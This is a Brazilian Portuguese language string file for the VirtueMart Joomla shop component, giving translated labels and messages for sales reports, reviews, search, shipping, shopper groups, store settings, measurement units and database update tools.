COM_VIRTUEMART_REPORT_BASIC_SALE_TITLE="Relatórios de vendas, // não usado?" COM_VIRTUEMART_REPORT_BASIC_SHOW_SEL_RANGE="Mostrar esta classe selecionada" COM_VIRTUEMART_REPORT_BASIC_THISMONTH_BUTTON="Este mês" COM_VIRTUEMART_REPORT_BASIC_TOTAL_ITEMS="Total de Itens vendidos" COM_VIRTUEMART_REPORT_FROM_PERIOD="Origem: " COM_VIRTUEMART_REPORT_INTERVAL="Definir intervalo" COM_VIRTUEMART_REPORT_INTERVAL_END_DATE="Data final" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_DAILY="Diário" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_MONTHLY="Mensal" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_WEEKLY="Semanal" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_YEARLY="Anual" COM_VIRTUEMART_REPORT_INTERVAL_START_DATE="Data de início" COM_VIRTUEMART_REPORT_PERIOD_LAST30="últimos 30 dias" COM_VIRTUEMART_REPORT_PERIOD_LAST60="últimos 60 dias" COM_VIRTUEMART_REPORT_PERIOD_LAST90="últimos 90 dias" COM_VIRTUEMART_REPORT_PERIOD_THIS_MONTH="Este mês" COM_VIRTUEMART_REPORT_PERIOD_THIS_WEEK="Esta semana" COM_VIRTUEMART_REPORT_PERIOD_THIS_YEAR="Este ano" COM_VIRTUEMART_REPORT_PERIOD_TODAY="Hoje" COM_VIRTUEMART_REPORT_SET_PERIOD="Definir período: " COM_VIRTUEMART_REPORT_TITLE="Relatório para o período de %s até %s" COM_VIRTUEMART_REPORT_UNTIL_PERIOD="Até: " COM_VIRTUEMART_RESET="Redefinir" COM_VIRTUEMART_REVIEW="Comentários do comprador" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH="Auto-Publicar Comentários?" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH_TIP="Se marcado, comentários são publicados automaticamente após serem publicados. Se não, o administrador deve aprovar / publicá-los." COM_VIRTUEMART_REVIEW_COUNT="Caracteres digitados:" COM_VIRTUEMART_REVIEW_DETAILS="Detalhes do comentário do comprador" COM_VIRTUEMART_REVIEW_ERR_COMMENT1_JS="Por favor, digite mais algumas palavras para o seu comentário. Mínimo de caracteres permitidos: %s" COM_VIRTUEMART_REVIEW_ERR_COMMENT2_JS="Reduza seu comentário. Máximo de caracteres permitidos: %s" COM_VIRTUEMART_REVIEW_FORM_LBL="Comentários do produto" COM_VIRTUEMART_REVIEW_LOGIN="Por favor, faça login para escrever um comentário." COM_VIRTUEMART_REVIEW_RATE="Comentários e classificação" COM_VIRTUEMART_REVIEW_RATE_S="Comentários e classificação" COM_VIRTUEMART_REVIEW_S="Comentários do comprador" COM_VIRTUEMART_RULES_EFFECTING="Regras afetadas: " COM_VIRTUEMART_SAFE_PATH_INVOICE_CREATED="Caminho para faturas criadas" COM_VIRTUEMART_SALES="Mais vendido" COM_VIRTUEMART_SAMPLE_DATA="Instalar
            Dados do exemplo" COM_VIRTUEMART_SAMPLE_DATA_INSTALLED="Dados do exemplo instalados!!" COM_VIRTUEMART_SAVE="Salvar" COM_VIRTUEMART_SAVED_CART_TITLE="Salvar carrinho" COM_VIRTUEMART_SAVE_PERMISSIONS="Salvar permissões" COM_VIRTUEMART_SEARCH_ALL_CATEGORIES="Buscar todas as categorias" COM_VIRTUEMART_SEARCH_ALL_PRODINFO="Buscar informações de todos os produtos" COM_VIRTUEMART_SEARCH_AND="e" COM_VIRTUEMART_SEARCH_DESCRIPTION="Somente descrição do produto" COM_VIRTUEMART_SEARCH_LBL="Buscar" COM_VIRTUEMART_SEARCH_MANU_VENDOR="Fabricante / fornecedor somente" COM_VIRTUEMART_SEARCH_NOT="Não" COM_VIRTUEMART_SEARCH_ORDER_ASC="Ordem ascendente" COM_VIRTUEMART_SEARCH_ORDER_DESC="Ordem descendente" COM_VIRTUEMART_SEARCH_PRODNAME="Somente o nome do produto" COM_VIRTUEMART_SEARCH_SELECT_ALL_MANUFACTURER="Selecionar todos os fabricantes" COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER="Selecionar fabricantes" COM_VIRTUEMART_SEARCH_TITLE="Busca" COM_VIRTUEMART_SELECT="Selecionar %s" COM_VIRTUEMART_SELECT_CATEGORY="Selecionar categoria..." COM_VIRTUEMART_SELECT_CUSTOM_PLUGIN="Selecionar plugin" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE="Selecionar o Template padrão para sua loja" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE_TIP="Templates permitem customizar e personalizar sua loja.
            Se não houver outros temas presentes em 'padrão', você não instalou mais templates." COM_VIRTUEMART_SELECT_FILE="Selecionar um arquivo" COM_VIRTUEMART_SELECT_ITEM_TO_DELETE="Selecionar um item para excluir" COM_VIRTUEMART_SELECT_ITEM_TO_TOGGLE="Selecionar um item para alternar" COM_VIRTUEMART_SELECT_MANUFACTURER="Selecionar fabricante" COM_VIRTUEMART_SELECT_MANUFACTURER_CATEGORY="Selecionar categoria de fabricante" COM_VIRTUEMART_SELECT_PAYMENT_METHOD="Por favor seleccione um método de pagamento na guia Informações de Método de Pagamento e clique no botão Aplicar para Joomla 1.5, ou no botão Salvar para Joomla 1.7 para exibir aqui os parâmetros apropriados." COM_VIRTUEMART_SELECT_PERIOD="Selecionar período" COM_VIRTUEMART_SELECT_PRODUCT="Selecionar um produto" COM_VIRTUEMART_SELECT_SHIPPING_METHOD="Por favor, selecione um método de envio na guia Informações de Método de Envio, e clique no botão Aplicar para Joomla 1.5, ou botão Salvar para Joomla 1.7 para exibir aqui os parâmetros apropriados." COM_VIRTUEMART_SELECT_USER_TO_MODIFY="Selecionar um usuário para modificar" COM_VIRTUEMART_SEND_BUTTON="Enviar" COM_VIRTUEMART_SEND_SUB="Detalhes da conta para %s em %s" COM_VIRTUEMART_SETSTOREOWNER="Definir dono da loja" COM_VIRTUEMART_SET_TO_DEFAULT_SUCCESSFULLY="Grupo de compradores padrão alterado" COM_VIRTUEMART_SHIPMENTMETHOD="Método de envio" COM_VIRTUEMART_SHIPMENTMETHOD_S="Métodos de envio" COM_VIRTUEMART_SHIPMENT_CLONE="Copiar método de envio" COM_VIRTUEMART_SHIPMENT_CLONED_SUCCESSFULLY="Método de envio copiado com sucesso" COM_VIRTUEMART_SHIPMENT_LIST_DESCRIPTION_LBL="Descrição do envio" COM_VIRTUEMART_SHIPMENT_NAME="Nome do envio" COM_VIRTUEMART_SHIPMENT_NAME_LBL="Nome do envio" COM_VIRTUEMART_SHIPMENT_NOT_CLONED_SUCCESSFULLY="Erro ao copiar método de envio" COM_VIRTUEMART_SHIPPINGRATE="Taxa de envio" COM_VIRTUEMART_SHIPPINGRATE_DETAILS="Detalhes da taxa de envio" COM_VIRTUEMART_SHIPPINGRATE_S="Taxas de envio" COM_VIRTUEMART_SHIPPING_CLASS_NAME="Método de envio" COM_VIRTUEMART_SHIPPING_CLASS_NAME_TIP="Selecione Método de Envio para usar este método, e clique no botão Aplicar para Joomla 1.5, ou botão Salvar para Joomla 1.7 para exibir os parâmetros apropriados na guia de configuração" COM_VIRTUEMART_SHIPPING_FORM_DESCRIPTION="Descrição do envio" COM_VIRTUEMART_SHIPPING_FORM_NAME="Nome do envio" COM_VIRTUEMART_SHIPPING_FORM_SHOPPER_GROUP="Grupo de compradores" COM_VIRTUEMART_SHIPPING_FORM_VAT="VAT" COM_VIRTUEMART_SHIPPING_NAME="Nome do remetente" COM_VIRTUEMART_SHIPPING_SHOPPERGROUPS="Grupo de compradores" COM_VIRTUEMART_SHIPTO_TEXT="Você pode adicionar locais de envio em sua conta. Por favor, pense em um apelido adequado ou código para o local de envio que você selecionou abaixo." COM_VIRTUEMART_SHOPPERGROUP="Grupo de compradores" COM_VIRTUEMART_SHOPPERGROUP_ADDED="Grupo de compradores foi adicionado." COM_VIRTUEMART_SHOPPERGROUP_ALREADY_EXISTS="Grupo de compradores já existe para este fornecedor." COM_VIRTUEMART_SHOPPERGROUP_DEFAULT="Grupo de compradores padrão" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT_TIP="Novos compradores serão atribuídos a este grupo" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT="Você não pode excluir o grupo de compradores padrão %1$s com id %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_WITH_MEMBERS="Ainda há usuários atribuídos a este grupo de compradores %1$s com id %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_DEFAULT="Não é possível excluir o Grupo de Compradores padrão." COM_VIRTUEMART_SHOPPERGROUP_DELETE_PAYMENT_METHODS_ASS="O Id deste grupo de compradores" COM_VIRTUEMART_SHOPPERGROUP_DELETE_SELECT="Por favor, selecione um grupo de compradores para excluir." COM_VIRTUEMART_SHOPPERGROUP_DELETE_USERS_ASS="Ainda há usuários atribuídos a este Id de Grupo de Compradores" COM_VIRTUEMART_SHOPPERGROUP_DESCRIPTION="Descrição do Grupo de Compradores" COM_VIRTUEMART_SHOPPERGROUP_DETAILS="Detalhes do Grupo de Compradores" COM_VIRTUEMART_SHOPPERGROUP_ENABLE_PRICE_DISPLAY="Habilitar Exibir Preço para Grupo de Compradores específico" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT="Preço com desconto no Grupo de Compradores Padrão (em %)" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT_TIP="Um valor positivo X significa" COM_VIRTUEMART_SHOPPERGROUP_IDS="Grupo de Compradores" COM_VIRTUEMART_SHOPPERGROUP_LIST_DISCOUNT="Desconto para Grupo de Compradores" COM_VIRTUEMART_SHOPPERGROUP_LIST_INCLUDE_TAX="Grupo de Compradores incl. Imposto" COM_VIRTUEMART_SHOPPERGROUP_MISSING_NAME="Você deve inserir um nome de Grupo de Compradores." COM_VIRTUEMART_SHOPPERGROUP_NAME="Nome de Grupo de Compradores" COM_VIRTUEMART_SHOPPERGROUP_NAME_ALREADY_EXISTS_FOR_GIVEN_VENDOR="O nome dado ao Grupo de Compradores já existe para o determinado fornecedor." COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS="Nome de Grupo de Compradores não devem ter mais de 32 caracteres" COM_VIRTUEMART_SHOPPERGROUP_RECORDS_MUST_HAVE_NAME="Grupo de Compradores devem ter um nome" COM_VIRTUEMART_SHOPPERGROUP_S="Grupo de Compradores" COM_VIRTUEMART_SHOPPERGROUP_UPDATED="O Grupo de Compradores foi atualizado." COM_VIRTUEMART_SHOPPERGROUP_UPDATE_FAILED="Falha ao atualizar Grupo de Compradores" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_1="Endereço 1" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_2="Endereço 2" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_INFO_LBL="Informação" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_LABEL="Apelido do endereço" COM_VIRTUEMART_SHOPPER_FORM_BIRTHDAY="Data de nascimento" COM_VIRTUEMART_SHOPPER_FORM_CITY="Cidade" COM_VIRTUEMART_SHOPPER_FORM_COMPANY_NAME="Nome da empresa" COM_VIRTUEMART_SHOPPER_FORM_COUNTRY="País" COM_VIRTUEMART_SHOPPER_FORM_EMAIL="E-mail" COM_VIRTUEMART_SHOPPER_FORM_EU_VATID="Número do IVA(Europa apenas)" COM_VIRTUEMART_SHOPPER_FORM_FAX="Fax" COM_VIRTUEMART_SHOPPER_FORM_FIRST_NAME="Primeiro Nome" COM_VIRTUEMART_SHOPPER_FORM_GROUP="Grupo de Comprador" COM_VIRTUEMART_SHOPPER_FORM_HOUSE_EXTENSION="Nome do edifício" COM_VIRTUEMART_SHOPPER_FORM_HOUSE_NO="Número da Casa" COM_VIRTUEMART_SHOPPER_FORM_LAST_NAME="último nome" COM_VIRTUEMART_SHOPPER_FORM_LBL="Informação Adicional" COM_VIRTUEMART_SHOPPER_FORM_MIDDLE_NAME="Nome do meio" COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_1="Senha" COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_2="Confirmar Senha" COM_VIRTUEMART_SHOPPER_FORM_PHONE2="Celular" COM_VIRTUEMART_SHOPPER_FORM_PHONE="Telefone" COM_VIRTUEMART_SHOPPER_FORM_SHIPTO_LBL="Informação de Envio" COM_VIRTUEMART_SHOPPER_FORM_SOCIALNUMBER="Número ddo seguro social" COM_VIRTUEMART_SHOPPER_FORM_STATE="Estado / Província / Região" COM_VIRTUEMART_SHOPPER_FORM_TITLE="Título" COM_VIRTUEMART_SHOPPER_FORM_USERNAME="Nome de usuário" COM_VIRTUEMART_SHOPPER_FORM_ZIP="Zip / Código Postal" COM_VIRTUEMART_SHOPPER_GROUP_NAME="Nome do Grupo de Compradores" COM_VIRTUEMART_SHOPPER_STATE_NAME="Nome do estado" COM_VIRTUEMART_SHOPPER_TITLE_MISS="Sra." COM_VIRTUEMART_SHOPPER_TITLE_MR="Sr." COM_VIRTUEMART_SHOPPER_TITLE_MRS="Srta." COM_VIRTUEMART_SHOW="Mostrar" COM_VIRTUEMART_SHOW_DISCOUNTED="Produtos com desconto" COM_VIRTUEMART_SHOW_FEATURED="Produtos em destaque" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX="Mostrar a caixa de seleção Lembrar-me no login?" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX_TIP="Quando marcada, a caixa lembrar-me é exibida no login. Não recomendado quando usando ssl partilhada, porque o cliente pode optar por não receber um cookie do usuário - mas esse cookie do usuário é necessário para manter o usuário logado em ambos os domínios." COM_VIRTUEMART_SKU="Sku" COM_VIRTUEMART_SLUG="Definir apelido" COM_VIRTUEMART_SORT_ERR_NUMBERS_ONLY="Erro" COM_VIRTUEMART_SQL_ERROR="Erro SQL" COM_VIRTUEMART_STANDARD_VIRTUEMART_CATEGORIES_LAYOUT="Layout de categorias padrão VirtueMart" COM_VIRTUEMART_START_DATE="Data de início" COM_VIRTUEMART_START_SYNCRONIZING="Iniciar Sincronização!" COM_VIRTUEMART_STATE="Estado" COM_VIRTUEMART_STATES_COUNTRY="Estados do país %1$s" COM_VIRTUEMART_STATES_VIEW_LINK="Ver lista dos Estados em
             %1$s" COM_VIRTUEMART_STATE_2_CODE="Estado (2) Código" COM_VIRTUEMART_STATE_3_CODE="Estado (3) Código" COM_VIRTUEMART_STATE_COUNTRY="Estado para o país %1$s" COM_VIRTUEMART_STATE_DETAILS="Detalhes do estado" COM_VIRTUEMART_STATE_IDS="Estados" COM_VIRTUEMART_STATE_LIST_LBL="Lista de Estados para" COM_VIRTUEMART_STATE_NAME="Nome do Estado" COM_VIRTUEMART_STATE_S="Estados" COM_VIRTUEMART_STATISTIC_ACTIVE_PRODUCTS="Produtos ativos" COM_VIRTUEMART_STATISTIC_CUSTOMERS="Compradores" COM_VIRTUEMART_STATISTIC_INACTIVE_PRODUCTS="Produtos inativos" COM_VIRTUEMART_STATISTIC_NEW_CUSTOMERS="Novos compradores" COM_VIRTUEMART_STATISTIC_NEW_ORDERS="Novos pedidos" COM_VIRTUEMART_STATISTIC_STATISTICS="Estatísticas" COM_VIRTUEMART_STATISTIC_SUM="Soma" COM_VIRTUEMART_STATISTIC_SUMMARY="Painel de controle" COM_VIRTUEMART_STATUS="Status" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP="Estamos ficando com pouco estoque para este item" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP="Nós temos grande quantidade deste produto em estoque" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP="Desculpe, mas atualmente não temos este item em estoque" COM_VIRTUEMART_STOCK_LEVEL_LOW="Produto com estoque baixo" COM_VIRTUEMART_STOCK_LEVEL_NORMAL="Produto com estoque suficiente" COM_VIRTUEMART_STOCK_LEVEL_OUT="Não há mais o produto em estoque!" COM_VIRTUEMART_STORE="Loja" COM_VIRTUEMART_STORE_CURRENCY_DISPLAY="Moeda" COM_VIRTUEMART_STORE_FORM_ACCEPTED_CURRENCIES="Lista de moedas aceitas" COM_VIRTUEMART_STORE_FORM_COMPANY_NAME="Nome da Empresa Loja" COM_VIRTUEMART_STORE_FORM_COUNTRY="País" COM_VIRTUEMART_STORE_FORM_DESCRIPTION="Descrição" COM_VIRTUEMART_STORE_FORM_LBL="Informação da Loja" COM_VIRTUEMART_STORE_FORM_LEGAL="Informação legal" COM_VIRTUEMART_STORE_FORM_MPOV="Valor mínimo de compra para sua loja" COM_VIRTUEMART_STORE_FORM_STATE="Estado / Província / Região" COM_VIRTUEMART_STORE_FORM_STORE_NAME="Nome da loja" COM_VIRTUEMART_STORE_FORM_TOS="Termos de serviço" COM_VIRTUEMART_STORE_INFORMATION="Informações da loja" COM_VIRTUEMART_STORE_MOD="Loja" COM_VIRTUEMART_STRING1_STRING2="%1$s %2$s" COM_VIRTUEMART_STRING_CANCELLED="%s registro cancelado." COM_VIRTUEMART_STRING_COULD_NOT_BE_DELETED="%s não pode ser excluído." COM_VIRTUEMART_STRING_DELETED="%s excluído com sucesso." COM_VIRTUEMART_STRING_DELETED_ERROR="Erro: O %s não pode ser excluído." COM_VIRTUEMART_STRING_ERROR_MUST_HAVE_NAME="Erro: %s deve ter um nome." COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME="O campo %s está. Este campo é obrigatório, por favor, insira seus dados e armazene novamente." COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY="%1$s no registro está faltando ! Não é possível salvar o registro com %1$s." COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY="%1$s chave primária está faltando! Não é possível salvar o registro com nenhum %1$s" COM_VIRTUEMART_STRING_FORBIDDEN_FOR_NON_VENDORS="%s função proibida para não-fornecedores" COM_VIRTUEMART_STRING_ONLY_ALLOWED_FOR_ADMIN="%s função reservada somente para o administrador" COM_VIRTUEMART_STRING_ORDER_DOWN_SUCCESS="%s movido para baixo com sucesso" COM_VIRTUEMART_STRING_ORDER_UP_SUCCESS="%s movido para cima com sucesso" COM_VIRTUEMART_STRING_PUBLISHED_ERROR="Erro: O %s não pode ser publicado." COM_VIRTUEMART_STRING_PUBLISHED_SUCCESS="%s publicado com sucesso." COM_VIRTUEMART_STRING_SAVED="%s salvo com sucesso" COM_VIRTUEMART_STRING_SAVED_ERROR="Erro: %s não pode ser salvo " COM_VIRTUEMART_STRING_SAVED_SUCCESS="%s salvo com sucesso" COM_VIRTUEMART_STRING_TOGGLE_ERROR="Erro: O %s estado não pode ser atualizado." COM_VIRTUEMART_STRING_TOGGLE_SUCCESS="%s estado atualizado com sucesso." COM_VIRTUEMART_STRING_UNPUBLISHED_ERROR="Erro: O %s não pode ser despublicado." COM_VIRTUEMART_STRING_UNPUBLISHED_SUCCESS="%s despublicado com sucesso." COM_VIRTUEMART_SYNC_MEDIA_FILES="Sincronizar mídia para VirtueMart" COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_DISABLED="Ação não realizada. Por favor verifique %1$s primeiro e retorne aqui." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_ENABLED_JS="Para ultilizar totalmente estas ferramentas, você deve verificar '%1$s' em Painel de Configuração." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_STILL_ENABLED="A configuração '%1$s' está ativa. Por favor, desative isso por medidas de segurança aqui no Painel de Configuração." COM_VIRTUEMART_SYSTEM_DEFAULTS_RESTORED="Padrões do sistema restaurados!" COM_VIRTUEMART_SYSTEM_VMDATA_DELETED="Dados do VirtueMart removidos" COM_VIRTUEMART_SYSTEM_VMTABLES_DELETED="Tabelas do VirtueMart removidas" COM_VIRTUEMART_TAX_EFFECTING="Impostos afetados: " COM_VIRTUEMART_TEMPLATE_DEFAULT="Template padrão" COM_VIRTUEMART_TEXTAREA_ATTRIBUTES="Atributos da área de texto" COM_VIRTUEMART_TEXTFIELD_ATTRIBUTES="Atributos da área de texto" COM_VIRTUEMART_THANK_MESSAGE="Obrigado pela sua pergunta. Nós iremos entrar em contato assim que possível." COM_VIRTUEMART_THRD_PARTY_CONTACT="entrar em contato com o desenvolvedor %1$s" COM_VIRTUEMART_THRD_PARTY_MANUAL="manual para o %1$s" COM_VIRTUEMART_THUMB_NOT_FOUND="Miniatura não encontrada" COM_VIRTUEMART_TIME="Hora" COM_VIRTUEMART_TITLE="Título" COM_VIRTUEMART_TITLE_IN_FIELDVALUES_CONTAINS_INVALID_CHARACTERS="Valores no campo de título contém caracteres inválidos" COM_VIRTUEMART_TOGGLE_ADMIN="Alternar administração" COM_VIRTUEMART_TOGGLE_HIDDEN="Alternar ocultar" COM_VIRTUEMART_TOOLS_MOD="Ferramentas" COM_VIRTUEMART_TOOLS_RENEW_CONFIG="Renovar configuração do arquivo" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_CONFIRM="Excluir configurações armazenadas no banco de dados, carregar arquivos padrões e definir na sessão?" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_EXPLAIN="

            As definições de configuração são redefinidas com os valores do arquivo /administrador/componentes/com_virtuemart/virtuemart.cfg

            " COM_VIRTUEMART_TOOLS_SYNC_JOOMLA_USERS="Sincronização Joomla
            Usuários" COM_VIRTUEMART_TOOLS_SYNC_MEDIAS_EXPLAIN="Envie suas mídias para o caminho:
            Mídia do produto url: %s
            Categoria da mídia url: %s
            Mídia do fabricante url: %s

            Você pode alterar essas urls nas definições de configuração.

            " COM_VIRTUEMART_TOOLS_SYNC_MEDIA_FILES="Sincronizar mídia para VirtueMart" COM_VIRTUEMART_TOTAL="Total" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY="Para definir categoria pai" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY_VIEW="Para definir a visualização da categoria pai" COM_VIRTUEMART_TO_SET_PRODUCT="Para definir o produto" COM_VIRTUEMART_TO_SET_PRODUCT_VIEW="Para definir a visualização do produto" COM_VIRTUEMART_TYPE="Tipo" COM_VIRTUEMART_TYPES="Tipos" COM_VIRTUEMART_UNCATEGORIZED="--Uncategorised--" COM_VIRTUEMART_UNINSTALL_NOTE="Desinstalar notas:" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="Desinstalando VirtueMart não remove as tabelas do VirtueMart do seu banco de dados. Isto é feito intencionalmente para permitir atualizar seus dados atuais para novas versões do VirtueMart.
            Para remover as tabelas VirtueMart, remover todas as tabelas com o prefixo _virtuemart_ ." COM_VIRTUEMART_UNINSTALL_THANKYOU="Obrigado por usar VirtueMart!" COM_VIRTUEMART_UNIT_NAME_100MG="100 miligramas" COM_VIRTUEMART_UNIT_NAME_100ML="100 milímetros" COM_VIRTUEMART_UNIT_NAME_CM="Centímetros" COM_VIRTUEMART_UNIT_NAME_CUBM="Metros cúbicos" COM_VIRTUEMART_UNIT_NAME_FOOT="Pés" COM_VIRTUEMART_UNIT_NAME_G="Gramas" COM_VIRTUEMART_UNIT_NAME_INCH="Polegadas" COM_VIRTUEMART_UNIT_NAME_KG="Quilograma" COM_VIRTUEMART_UNIT_NAME_L="Litros" COM_VIRTUEMART_UNIT_NAME_LB="Libras" COM_VIRTUEMART_UNIT_NAME_M="Metros" COM_VIRTUEMART_UNIT_NAME_MG="Miligrama" COM_VIRTUEMART_UNIT_NAME_MM="Milímetros" COM_VIRTUEMART_UNIT_NAME_ONCE="Onça" COM_VIRTUEMART_UNIT_NAME_SM="Metros quadrados" COM_VIRTUEMART_UNIT_NAME_YARD="Jardas" COM_VIRTUEMART_UNIT_SYMBOL_100MG="100 mg" COM_VIRTUEMART_UNIT_SYMBOL_100ML="100 ml" COM_VIRTUEMART_UNIT_SYMBOL_CM="cm" COM_VIRTUEMART_UNIT_SYMBOL_CUBM="m³" COM_VIRTUEMART_UNIT_SYMBOL_FOOT="ft" COM_VIRTUEMART_UNIT_SYMBOL_G="g" COM_VIRTUEMART_UNIT_SYMBOL_INCH="″" COM_VIRTUEMART_UNIT_SYMBOL_KG="kg" COM_VIRTUEMART_UNIT_SYMBOL_L="l" COM_VIRTUEMART_UNIT_SYMBOL_LB="lb" COM_VIRTUEMART_UNIT_SYMBOL_M="m" COM_VIRTUEMART_UNIT_SYMBOL_MG="mg" COM_VIRTUEMART_UNIT_SYMBOL_MM="mm" COM_VIRTUEMART_UNIT_SYMBOL_OUNCE="oz" COM_VIRTUEMART_UNIT_SYMBOL_SM="m²" COM_VIRTUEMART_UNIT_SYMBOL_YARD="yd" COM_VIRTUEMART_UNPUBLISH="Despublicar" COM_VIRTUEMART_UNPUBLISHED="Despublicar" COM_VIRTUEMART_UNPUBLISH_ITEM="Despublicar item" COM_VIRTUEMART_UNWRITABLE="Não gravável" COM_VIRTUEMART_UPDATE="Atualizar" COM_VIRTUEMART_UPDATEDATABASE="Instalar tabelas
            ou se necessário
            atualizá-las" COM_VIRTUEMART_UPDATEDATABASE_CONFIRM_JS="Instalar/atualizar tabelas?" COM_VIRTUEMART_UPDATE_ALL="Tudo" COM_VIRTUEMART_UPDATE_CHECK_CHECKNOW="Verificar agora!" COM_VIRTUEMART_UPDATE_CHECK_DLUPDATE="Fazer Download da atualização" COM_VIRTUEMART_UPDATE_CHECK_LATEST_VERSION="última versão do VirtueMart" COM_VIRTUEMART_UPDATE_CHECK_VERSION_INSTALLED="Versão VirtueMart instalada aqui" COM_VIRTUEMART_UPDATE_GENERAL="Geral" COM_VIRTUEMART_UPDATE_INSTALLSAMPLE_CONFIRM="Isto irá instalar os dados de amostra VirtueMart. Você tem certeza?" COM_VIRTUEMART_UPDATE_MIGRATION="Atualizando e migrando dados" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MAX_EXECUTION_TIME="Tempo máximo de execução das configurações do servidor" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MEMORY_LIMIT="Limite de memória do servidor" COM_VIRTUEMART_UPDATE_MIGRATION_STRING="Escolha uma tarefa para migração" COM_VIRTUEMART_UPDATE_MIGRATION_STRING_CONFIRM="Iniciar migração %s?" COM_VIRTUEMART_UPDATE_MIGRATION_TITLE="Migração de dados de VirtueMart 1.1.x para VirtueMart 2.y.z" COM_VIRTUEMART_UPDATE_MIGRATION_TOOLS_WARNING="

            Aviso

            Por favor, use essas ferramentas só se você souber o que está fazendo. Eles podem prejudicar sua loja completamente. Estas ferramentas são feitas para desenvolvedores.
            Exceto para apagar todos os dados também é destinado a pessoas que querem desinstalar a loja completamente e excluir todos os dados do banco de dados. Por favor use com cuidado. Quando usado em uma loja prejudicada, fazer uma exportação do seu banco de dados primeiro." COM_VIRTUEMART_UPDATE_NONEWVERSION="Você está executando a versão mais recente do Virtuemart" COM_VIRTUEMART_UPDATE_ORDERS="Pedidos" COM_VIRTUEMART_UPDATE_PATCH_APPLY="Aplicar Patch agora" COM_VIRTUEMART_UPDATE_PATCH_CONFIRM_TEXT="Eu li o Aviso e eu tenho certeza que quero aplicar o Pacote Patch para a instalação do meu VirtueMart agora." COM_VIRTUEMART_UPDATE_PATCH_DATE="Data de lançamento" COM_VIRTUEMART_UPDATE_PATCH_DESCRIPTION="Descrição" COM_VIRTUEMART_UPDATE_PATCH_DETAILS="Detalhes do Patch" COM_VIRTUEMART_UPDATE_PATCH_ERR_UNWRITABLE="Nem todos os arquivos / diretórios que precisam ser atualizados são graváveis. Por favor, corrija as permissões primeiro." COM_VIRTUEMART_UPDATE_PATCH_FILESTOUPDATE="Arquivos para serem atualizados" COM_VIRTUEMART_UPDATE_PATCH_PLEASEMARK_JS="Por favor, marque a caixa de seleção antes de aplicar o patch." COM_VIRTUEMART_UPDATE_PATCH_QUERYTOEXEC="Consultas para serem executadas no banco de dados" COM_VIRTUEMART_UPDATE_PATCH_STATUS="Status" COM_VIRTUEMART_UPDATE_PATCH_UNWRITABLE="Arquivo/Diretório não gravável" COM_VIRTUEMART_UPDATE_PATCH_WRITABLE="Gravável" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT="Sincronizado %1$s mídia para %2$s no diretório %3$s " COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_FINISH="Sincronizando todos juntos %1$s arquivos" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_NOT_FINISH="A sincronização não está terminada, por favor, execute novamente" COM_VIRTUEMART_UPDATE_PRODUCTS="produtos" COM_VIRTUEMART_UPDATE_REMOVEDATA="Remover
            dados VirtueMart" COM_VIRTUEMART_UPDATE_REMOVEDATA_CONFIRM_JS="Isto irá remover todos os dados VirtueMart. Você tem certeza?" COM_VIRTUEMART_UPDATE_REMOVETABLES="Remover
            tabelas VirtueMart" COM_VIRTUEMART_UPDATE_REMOVETABLES_CONFIRM_JS="Isto irá remover todas as tabelas VirtueMart deixando VirtueMart inutilizável. Você tem certeza?" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS=" Restaurar
            padrões do Sistema" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS_CONFIRM_JS="Isso irá restaurar as configurações para os valores padrões. Você tem certeza?" COM_VIRTUEMART_UPDATE_STATUS="Atualizar status do pedido" COM_VIRTUEMART_UPDATE_TOOLS_TAB="Ferramentas DB" COM_VIRTUEMART_UPDATE_USERS="usuários" COM_VIRTUEMART_UPDATE_VMPLUGINTABLES="Atualizar tabelas do plugin VM" COM_VIRTUEMART_UPDATE_WARNING_TEXT="A instalaçço de uma atualização para VirtueMart usando um pacote de patch pode causar danos em seu site se você já tiver modificado alguns arquivos do componente VirtueMart. O processo de correção irá sobrescrever todos os arquivos listados abaixo - não só vai aplicar as alterações menores (diff), mas substituir o arquivo existente pelo novo. Se você tiver modificado arquivos VirtueMart em seu próprio país, isso pode levar a arquivos inconsistentes e falta de classe / dependências de função." 